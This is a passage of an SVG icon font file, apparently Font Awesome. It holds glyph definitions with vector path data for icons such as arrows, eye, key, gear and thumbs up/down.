d="M1171 723l-422 -422q-19 -19 -45 -19t-45 19l-294 294q-19 19 -19 45t19 45l102 102q19 19 45 19t45 -19l147 -147l275 275q19 19 45 19t45 -19l102 -102q19 -19 19 -45t-19 -45zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198
t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ban_circle" unicode="&#xf05e;" 
d="M1312 643q0 161 -87 295l-754 -753q137 -89 297 -89q111 0 211.5 43.5t173.5 116.5t116 174.5t43 212.5zM313 344l755 754q-135 91 -300 91q-148 0 -273 -73t-198 -199t-73 -274q0 -162 89 -299zM1536 643q0 -157 -61 -300t-163.5 -246t-245 -164t-298.5 -61t-298.5 61
t-245 164t-163.5 246t-61 300t61 299.5t163.5 245.5t245 164t298.5 61t298.5 -61t245 -164t163.5 -245.5t61 -299.5z" />
    <glyph glyph-name="arrow_left" unicode="&#xf060;" 
d="M1536 640v-128q0 -53 -32.5 -90.5t-84.5 -37.5h-704l293 -294q38 -36 38 -90t-38 -90l-75 -76q-37 -37 -90 -37q-52 0 -91 37l-651 652q-37 37 -37 90q0 52 37 91l651 650q38 38 91 38q52 0 90 -38l75 -74q38 -38 38 -91t-38 -91l-293 -293h704q52 0 84.5 -37.5
t32.5 -90.5z" />
    <glyph glyph-name="arrow_right" unicode="&#xf061;" 
d="M1472 576q0 -54 -37 -91l-651 -651q-39 -37 -91 -37q-51 0 -90 37l-75 75q-38 38 -38 91t38 91l293 293h-704q-52 0 -84.5 37.5t-32.5 90.5v128q0 53 32.5 90.5t84.5 37.5h704l-293 294q-38 36 -38 90t38 90l75 75q38 38 90 38q53 0 91 -38l651 -651q37 -35 37 -90z" />
    <glyph glyph-name="arrow_up" unicode="&#xf062;" horiz-adv-x="1664" 
d="M1611 565q0 -51 -37 -90l-75 -75q-38 -38 -91 -38q-54 0 -90 38l-294 293v-704q0 -52 -37.5 -84.5t-90.5 -32.5h-128q-53 0 -90.5 32.5t-37.5 84.5v704l-294 -293q-36 -38 -90 -38t-90 38l-75 75q-38 38 -38 90q0 53 38 91l651 651q35 37 90 37q54 0 91 -37l651 -651
q37 -39 37 -91z" />
    <glyph glyph-name="arrow_down" unicode="&#xf063;" horiz-adv-x="1664" 
d="M1611 704q0 -53 -37 -90l-651 -652q-39 -37 -91 -37q-53 0 -90 37l-651 652q-38 36 -38 90q0 53 38 91l74 75q39 37 91 37q53 0 90 -37l294 -294v704q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-704l294 294q37 37 90 37q52 0 91 -37l75 -75q37 -39 37 -91z" />
    <glyph glyph-name="share_alt" unicode="&#xf064;" horiz-adv-x="1792" 
d="M1792 896q0 -26 -19 -45l-512 -512q-19 -19 -45 -19t-45 19t-19 45v256h-224q-98 0 -175.5 -6t-154 -21.5t-133 -42.5t-105.5 -69.5t-80 -101t-48.5 -138.5t-17.5 -181q0 -55 5 -123q0 -6 2.5 -23.5t2.5 -26.5q0 -15 -8.5 -25t-23.5 -10q-16 0 -28 17q-7 9 -13 22
t-13.5 30t-10.5 24q-127 285 -127 451q0 199 53 333q162 403 875 403h224v256q0 26 19 45t45 19t45 -19l512 -512q19 -19 19 -45z" />
    <glyph glyph-name="resize_full" unicode="&#xf065;" 
d="M755 480q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23zM1536 1344v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332
q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45z" />
    <glyph glyph-name="resize_small" unicode="&#xf066;" 
d="M768 576v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45zM1523 1248q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45
t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23z" />
    <glyph glyph-name="plus" unicode="&#xf067;" horiz-adv-x="1408" 
d="M1408 800v-192q0 -40 -28 -68t-68 -28h-416v-416q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v416h-416q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h416v416q0 40 28 68t68 28h192q40 0 68 -28t28 -68v-416h416q40 0 68 -28t28 -68z" />
    <glyph glyph-name="minus" unicode="&#xf068;" horiz-adv-x="1408" 
d="M1408 800v-192q0 -40 -28 -68t-68 -28h-1216q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h1216q40 0 68 -28t28 -68z" />
    <glyph glyph-name="asterisk" unicode="&#xf069;" horiz-adv-x="1664" 
d="M1482 486q46 -26 59.5 -77.5t-12.5 -97.5l-64 -110q-26 -46 -77.5 -59.5t-97.5 12.5l-266 153v-307q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v307l-266 -153q-46 -26 -97.5 -12.5t-77.5 59.5l-64 110q-26 46 -12.5 97.5t59.5 77.5l266 154l-266 154
q-46 26 -59.5 77.5t12.5 97.5l64 110q26 46 77.5 59.5t97.5 -12.5l266 -153v307q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-307l266 153q46 26 97.5 12.5t77.5 -59.5l64 -110q26 -46 12.5 -97.5t-59.5 -77.5l-266 -154z" />
    <glyph glyph-name="exclamation_sign" unicode="&#xf06a;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM896 161v190q0 14 -9 23.5t-22 9.5h-192q-13 0 -23 -10t-10 -23v-190q0 -13 10 -23t23 -10h192
q13 0 22 9.5t9 23.5zM894 505l18 621q0 12 -10 18q-10 8 -24 8h-220q-14 0 -24 -8q-10 -6 -10 -18l17 -621q0 -10 10 -17.5t24 -7.5h185q14 0 23.5 7.5t10.5 17.5z" />
    <glyph glyph-name="gift" unicode="&#xf06b;" 
d="M928 180v56v468v192h-320v-192v-468v-56q0 -25 18 -38.5t46 -13.5h192q28 0 46 13.5t18 38.5zM472 1024h195l-126 161q-26 31 -69 31q-40 0 -68 -28t-28 -68t28 -68t68 -28zM1160 1120q0 40 -28 68t-68 28q-43 0 -69 -31l-125 -161h194q40 0 68 28t28 68zM1536 864v-320
q0 -14 -9 -23t-23 -9h-96v-416q0 -40 -28 -68t-68 -28h-1088q-40 0 -68 28t-28 68v416h-96q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h440q-93 0 -158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5q107 0 168 -77l128 -165l128 165q61 77 168 77q93 0 158.5 -65.5t65.5 -158.5
t-65.5 -158.5t-158.5 -65.5h440q14 0 23 -9t9 -23z" />
    <glyph glyph-name="leaf" unicode="&#xf06c;" horiz-adv-x="1792" 
d="M1280 832q0 26 -19 45t-45 19q-172 0 -318 -49.5t-259.5 -134t-235.5 -219.5q-19 -21 -19 -45q0 -26 19 -45t45 -19q24 0 45 19q27 24 74 71t67 66q137 124 268.5 176t313.5 52q26 0 45 19t19 45zM1792 1030q0 -95 -20 -193q-46 -224 -184.5 -383t-357.5 -268
q-214 -108 -438 -108q-148 0 -286 47q-15 5 -88 42t-96 37q-16 0 -39.5 -32t-45 -70t-52.5 -70t-60 -32q-43 0 -63.5 17.5t-45.5 59.5q-2 4 -6 11t-5.5 10t-3 9.5t-1.5 13.5q0 35 31 73.5t68 65.5t68 56t31 48q0 4 -14 38t-16 44q-9 51 -9 104q0 115 43.5 220t119 184.5
t170.5 139t204 95.5q55 18 145 25.5t179.5 9t178.5 6t163.5 24t113.5 56.5l29.5 29.5t29.5 28t27 20t36.5 16t43.5 4.5q39 0 70.5 -46t47.5 -112t24 -124t8 -96z" />
    <glyph glyph-name="fire" unicode="&#xf06d;" horiz-adv-x="1408" 
d="M1408 -160v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1152 896q0 -78 -24.5 -144t-64 -112.5t-87.5 -88t-96 -77.5t-87.5 -72t-64 -81.5t-24.5 -96.5q0 -96 67 -224l-4 1l1 -1
q-90 41 -160 83t-138.5 100t-113.5 122.5t-72.5 150.5t-27.5 184q0 78 24.5 144t64 112.5t87.5 88t96 77.5t87.5 72t64 81.5t24.5 96.5q0 94 -66 224l3 -1l-1 1q90 -41 160 -83t138.5 -100t113.5 -122.5t72.5 -150.5t27.5 -184z" />
    <glyph glyph-name="eye_open" unicode="&#xf06e;" horiz-adv-x="1792" 
d="M1664 576q-152 236 -381 353q61 -104 61 -225q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 121 61 225q-229 -117 -381 -353q133 -205 333.5 -326.5t434.5 -121.5t434.5 121.5t333.5 326.5zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5
t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1792 576q0 -34 -20 -69q-140 -230 -376.5 -368.5t-499.5 -138.5t-499.5 139t-376.5 368q-20 35 -20 69t20 69q140 229 376.5 368t499.5 139t499.5 -139t376.5 -368q20 -35 20 -69z" />
    <glyph glyph-name="eye_close" unicode="&#xf070;" horiz-adv-x="1792" 
d="M555 201l78 141q-87 63 -136 159t-49 203q0 121 61 225q-229 -117 -381 -353q167 -258 427 -375zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1307 1151q0 -7 -1 -9
q-106 -189 -316 -567t-315 -566l-49 -89q-10 -16 -28 -16q-12 0 -134 70q-16 10 -16 28q0 12 44 87q-143 65 -263.5 173t-208.5 245q-20 31 -20 69t20 69q153 235 380 371t496 136q89 0 180 -17l54 97q10 16 28 16q5 0 18 -6t31 -15.5t33 -18.5t31.5 -18.5t19.5 -11.5
q16 -10 16 -27zM1344 704q0 -139 -79 -253.5t-209 -164.5l280 502q8 -45 8 -84zM1792 576q0 -35 -20 -69q-39 -64 -109 -145q-150 -172 -347.5 -267t-419.5 -95l74 132q212 18 392.5 137t301.5 307q-115 179 -282 294l63 112q95 -64 182.5 -153t144.5 -184q20 -34 20 -69z
" />
    <glyph glyph-name="warning_sign" unicode="&#xf071;" horiz-adv-x="1792" 
d="M1024 161v190q0 14 -9.5 23.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -23.5v-190q0 -14 9.5 -23.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 23.5zM1022 535l18 459q0 12 -10 19q-13 11 -24 11h-220q-11 0 -24 -11q-10 -7 -10 -21l17 -457q0 -10 10 -16.5t24 -6.5h185
q14 0 23.5 6.5t10.5 16.5zM1008 1469l768 -1408q35 -63 -2 -126q-17 -29 -46.5 -46t-63.5 -17h-1536q-34 0 -63.5 17t-46.5 46q-37 63 -2 126l768 1408q17 31 47 49t65 18t65 -18t47 -49z" />
    <glyph glyph-name="plane" unicode="&#xf072;" horiz-adv-x="1408" 
d="M1376 1376q44 -52 12 -148t-108 -172l-161 -161l160 -696q5 -19 -12 -33l-128 -96q-7 -6 -19 -6q-4 0 -7 1q-15 3 -21 16l-279 508l-259 -259l53 -194q5 -17 -8 -31l-96 -96q-9 -9 -23 -9h-2q-15 2 -24 13l-189 252l-252 189q-11 7 -13 23q-1 13 9 25l96 97q9 9 23 9
q6 0 8 -1l194 -53l259 259l-508 279q-14 8 -17 24q-2 16 9 27l128 128q14 13 30 8l665 -159l160 160q76 76 172 108t148 -12z" />
    <glyph glyph-name="calendar" unicode="&#xf073;" horiz-adv-x="1664" 
d="M128 -128h288v288h-288v-288zM480 -128h320v288h-320v-288zM128 224h288v320h-288v-320zM480 224h320v320h-320v-320zM128 608h288v288h-288v-288zM864 -128h320v288h-320v-288zM480 608h320v288h-320v-288zM1248 -128h288v288h-288v-288zM864 224h320v320h-320v-320z
M512 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1248 224h288v320h-288v-320zM864 608h320v288h-320v-288zM1248 608h288v288h-288v-288zM1280 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64
q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47
h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="random" unicode="&#xf074;" horiz-adv-x="1792" 
d="M666 1055q-60 -92 -137 -273q-22 45 -37 72.5t-40.5 63.5t-51 56.5t-63 35t-81.5 14.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q250 0 410 -225zM1792 256q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192q-32 0 -85 -0.5t-81 -1t-73 1
t-71 5t-64 10.5t-63 18.5t-58 28.5t-59 40t-55 53.5t-56 69.5q59 93 136 273q22 -45 37 -72.5t40.5 -63.5t51 -56.5t63 -35t81.5 -14.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1792 1152q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5
v192h-256q-48 0 -87 -15t-69 -45t-51 -61.5t-45 -77.5q-32 -62 -78 -171q-29 -66 -49.5 -111t-54 -105t-64 -100t-74 -83t-90 -68.5t-106.5 -42t-128 -16.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q48 0 87 15t69 45t51 61.5t45 77.5q32 62 78 171q29 66 49.5 111
t54 105t64 100t74 83t90 68.5t106.5 42t128 16.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
    <glyph glyph-name="comment" unicode="&#xf075;" horiz-adv-x="1792" 
d="M1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22q-17 -2 -30.5 9t-17.5 29v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281
q0 130 71 248.5t191 204.5t286 136.5t348 50.5q244 0 450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="magnet" unicode="&#xf076;" 
d="M1536 704v-128q0 -201 -98.5 -362t-274 -251.5t-395.5 -90.5t-395.5 90.5t-274 251.5t-98.5 362v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-128q0 -52 23.5 -90t53.5 -57t71 -30t64 -13t44 -2t44 2t64 13t71 30t53.5 57t23.5 90v128q0 26 19 45t45 19h384
q26 0 45 -19t19 -45zM512 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45zM1536 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45z" />
    <glyph glyph-name="chevron_up" unicode="&#xf077;" horiz-adv-x="1792" 
d="M1683 205l-166 -165q-19 -19 -45 -19t-45 19l-531 531l-531 -531q-19 -19 -45 -19t-45 19l-166 165q-19 19 -19 45.5t19 45.5l742 741q19 19 45 19t45 -19l742 -741q19 -19 19 -45.5t-19 -45.5z" />
    <glyph glyph-name="chevron_down" unicode="&#xf078;" horiz-adv-x="1792" 
d="M1683 728l-742 -741q-19 -19 -45 -19t-45 19l-742 741q-19 19 -19 45.5t19 45.5l166 165q19 19 45 19t45 -19l531 -531l531 531q19 19 45 19t45 -19l166 -165q19 -19 19 -45.5t-19 -45.5z" />
    <glyph glyph-name="retweet" unicode="&#xf079;" horiz-adv-x="1920" 
d="M1280 32q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-8 0 -13.5 2t-9 7t-5.5 8t-3 11.5t-1 11.5v13v11v160v416h-192q-26 0 -45 19t-19 45q0 24 15 41l320 384q19 22 49 22t49 -22l320 -384q15 -17 15 -41q0 -26 -19 -45t-45 -19h-192v-384h576q16 0 25 -11l160 -192q7 -10 7 -21
zM1920 448q0 -24 -15 -41l-320 -384q-20 -23 -49 -23t-49 23l-320 384q-15 17 -15 41q0 26 19 45t45 19h192v384h-576q-16 0 -25 12l-160 192q-7 9 -7 20q0 13 9.5 22.5t22.5 9.5h960q8 0 13.5 -2t9 -7t5.5 -8t3 -11.5t1 -11.5v-13v-11v-160v-416h192q26 0 45 -19t19 -45z
" />
    <glyph glyph-name="shopping_cart" unicode="&#xf07a;" horiz-adv-x="1664" 
d="M640 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1536 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1664 1088v-512q0 -24 -16.5 -42.5t-40.5 -21.5l-1044 -122q13 -60 13 -70q0 -16 -24 -64h920q26 0 45 -19t19 -45
t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 11 8 31.5t16 36t21.5 40t15.5 29.5l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t19.5 -15.5t13 -24.5t8 -26t5.5 -29.5t4.5 -26h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="folder_close" unicode="&#xf07b;" horiz-adv-x="1664" 
d="M1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
    <glyph glyph-name="folder_open" unicode="&#xf07c;" horiz-adv-x="1920" 
d="M1879 584q0 -31 -31 -66l-336 -396q-43 -51 -120.5 -86.5t-143.5 -35.5h-1088q-34 0 -60.5 13t-26.5 43q0 31 31 66l336 396q43 51 120.5 86.5t143.5 35.5h1088q34 0 60.5 -13t26.5 -43zM1536 928v-160h-832q-94 0 -197 -47.5t-164 -119.5l-337 -396l-5 -6q0 4 -0.5 12.5
t-0.5 12.5v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158z" />
    <glyph glyph-name="resize_vertical" unicode="&#xf07d;" horiz-adv-x="768" 
d="M704 1216q0 -26 -19 -45t-45 -19h-128v-1024h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v1024h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="resize_horizontal" unicode="&#xf07e;" horiz-adv-x="1792" 
d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-1024v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h1024v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="bar_chart" unicode="&#xf080;" horiz-adv-x="2048" 
d="M640 640v-512h-256v512h256zM1024 1152v-1024h-256v1024h256zM2048 0v-128h-2048v1536h128v-1408h1920zM1408 896v-768h-256v768h256zM1792 1280v-1152h-256v1152h256z" />
    <glyph glyph-name="twitter_sign" unicode="&#xf081;" 
d="M1280 926q-56 -25 -121 -34q68 40 93 117q-65 -38 -134 -51q-61 66 -153 66q-87 0 -148.5 -61.5t-61.5 -148.5q0 -29 5 -48q-129 7 -242 65t-192 155q-29 -50 -29 -106q0 -114 91 -175q-47 1 -100 26v-2q0 -75 50 -133.5t123 -72.5q-29 -8 -51 -8q-13 0 -39 4
q21 -63 74.5 -104t121.5 -42q-116 -90 -261 -90q-26 0 -50 3q148 -94 322 -94q112 0 210 35.5t168 95t120.5 137t75 162t24.5 168.5q0 18 -1 27q63 45 105 109zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5
t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="facebook_sign" unicode="&#xf082;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-188v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-532q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960z" />
    <glyph glyph-name="camera_retro" unicode="&#xf083;" horiz-adv-x="1792" 
d="M928 704q0 14 -9 23t-23 9q-66 0 -113 -47t-47 -113q0 -14 9 -23t23 -9t23 9t9 23q0 40 28 68t68 28q14 0 23 9t9 23zM1152 574q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM128 0h1536v128h-1536v-128zM1280 574q0 159 -112.5 271.5
t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM256 1216h384v128h-384v-128zM128 1024h1536v118v138h-828l-64 -128h-644v-128zM1792 1280v-1280q0 -53 -37.5 -90.5t-90.5 -37.5h-1536q-53 0 -90.5 37.5t-37.5 90.5v1280
q0 53 37.5 90.5t90.5 37.5h1536q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="key" unicode="&#xf084;" horiz-adv-x="1792" 
d="M832 1024q0 80 -56 136t-136 56t-136 -56t-56 -136q0 -42 19 -83q-41 19 -83 19q-80 0 -136 -56t-56 -136t56 -136t136 -56t136 56t56 136q0 42 -19 83q41 -19 83 -19q80 0 136 56t56 136zM1683 320q0 -17 -49 -66t-66 -49q-9 0 -28.5 16t-36.5 33t-38.5 40t-24.5 26
l-96 -96l220 -220q28 -28 28 -68q0 -42 -39 -81t-81 -39q-40 0 -68 28l-671 671q-176 -131 -365 -131q-163 0 -265.5 102.5t-102.5 265.5q0 160 95 313t248 248t313 95q163 0 265.5 -102.5t102.5 -265.5q0 -189 -131 -365l355 -355l96 96q-3 3 -26 24.5t-40 38.5t-33 36.5
t-16 28.5q0 17 49 66t66 49q13 0 23 -10q6 -6 46 -44.5t82 -79.5t86.5 -86t73 -78t28.5 -41z" />
    <glyph glyph-name="cogs" unicode="&#xf085;" horiz-adv-x="1920" 
d="M896 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1664 128q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1152q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5zM1280 731v-185q0 -10 -7 -19.5t-16 -10.5l-155 -24q-11 -35 -32 -76q34 -48 90 -115q7 -11 7 -20q0 -12 -7 -19q-23 -30 -82.5 -89.5t-78.5 -59.5q-11 0 -21 7l-115 90q-37 -19 -77 -31q-11 -108 -23 -155q-7 -24 -30 -24h-186q-11 0 -20 7.5t-10 17.5
l-23 153q-34 10 -75 31l-118 -89q-7 -7 -20 -7q-11 0 -21 8q-144 133 -144 160q0 9 7 19q10 14 41 53t47 61q-23 44 -35 82l-152 24q-10 1 -17 9.5t-7 19.5v185q0 10 7 19.5t16 10.5l155 24q11 35 32 76q-34 48 -90 115q-7 11 -7 20q0 12 7 20q22 30 82 89t79 59q11 0 21 -7
l115 -90q34 18 77 32q11 108 23 154q7 24 30 24h186q11 0 20 -7.5t10 -17.5l23 -153q34 -10 75 -31l118 89q8 7 20 7q11 0 21 -8q144 -133 144 -160q0 -8 -7 -19q-12 -16 -42 -54t-45 -60q23 -48 34 -82l152 -23q10 -2 17 -10.5t7 -19.5zM1920 198v-140q0 -16 -149 -31
q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20
t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31zM1920 1222v-140q0 -16 -149 -31q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68
q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70
q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31z" />
    <glyph glyph-name="comments" unicode="&#xf086;" horiz-adv-x="1792" 
d="M1408 768q0 -139 -94 -257t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224
q0 139 94 257t256.5 186.5t353.5 68.5t353.5 -68.5t256.5 -186.5t94 -257zM1792 512q0 -120 -71 -224.5t-195 -176.5q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7
q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230z" />
    <glyph glyph-name="thumbs_up_alt" unicode="&#xf087;" 
d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 768q0 51 -39 89.5t-89 38.5h-352q0 58 48 159.5t48 160.5q0 98 -32 145t-128 47q-26 -26 -38 -85t-30.5 -125.5t-59.5 -109.5q-22 -23 -77 -91q-4 -5 -23 -30t-31.5 -41t-34.5 -42.5
t-40 -44t-38.5 -35.5t-40 -27t-35.5 -9h-32v-640h32q13 0 31.5 -3t33 -6.5t38 -11t35 -11.5t35.5 -12.5t29 -10.5q211 -73 342 -73h121q192 0 192 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5q32 1 53.5 47t21.5 81zM1536 769
q0 -89 -49 -163q9 -33 9 -69q0 -77 -38 -144q3 -21 3 -43q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5h-36h-93q-96 0 -189.5 22.5t-216.5 65.5q-116 40 -138 40h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h274q36 24 137 155q58 75 107 128
q24 25 35.5 85.5t30.5 126.5t62 108q39 37 90 37q84 0 151 -32.5t102 -101.5t35 -186q0 -93 -48 -192h176q104 0 180 -76t76 -179z" />
    <glyph glyph-name="thumbs_down_alt" unicode="&#xf088;" 
d="M256 1088q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 512q0 35 -21.5 81t-53.5 47q15 17 25 47.5t10 55.5q0 69 -53 119q18 31 18 69q0 37 -17.5 73.5t-47.5 52.5q5 30 5 56q0 85 -49 126t-136 41h-128q-131 0 -342 -73q-5 -2 -29 -10.5
t-35.5 -12.5t-35 -11.5t-38 -11t-33 -6.5t-31.5 -3h-32v-640h32q16 0 35.5 -9t40 -27t38.5 -35.5t40 -44t34.5 -42.5t31.5 -41t23 -30q55 -68 77 -91q41 -43 59.5 -109.5t30.5 -125.5t38 -85q96 0 128 47t32 145q0 59 -48 160.5t-48 159.5h352q50 0 89 38.5t39 89.5z
M1536 511q0 -103 -76 -179t-180 -76h-176q48 -99 48 -192q0 -118 -35 -186q-35 -69 -102 -101.5t-151 -32.5q-51 0 -90 37q-34 33 -54 82t-25.5 90.5t-17.5 84.5t-31 64q-48 50 -107 127q-101 131 -137 155h-274q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5
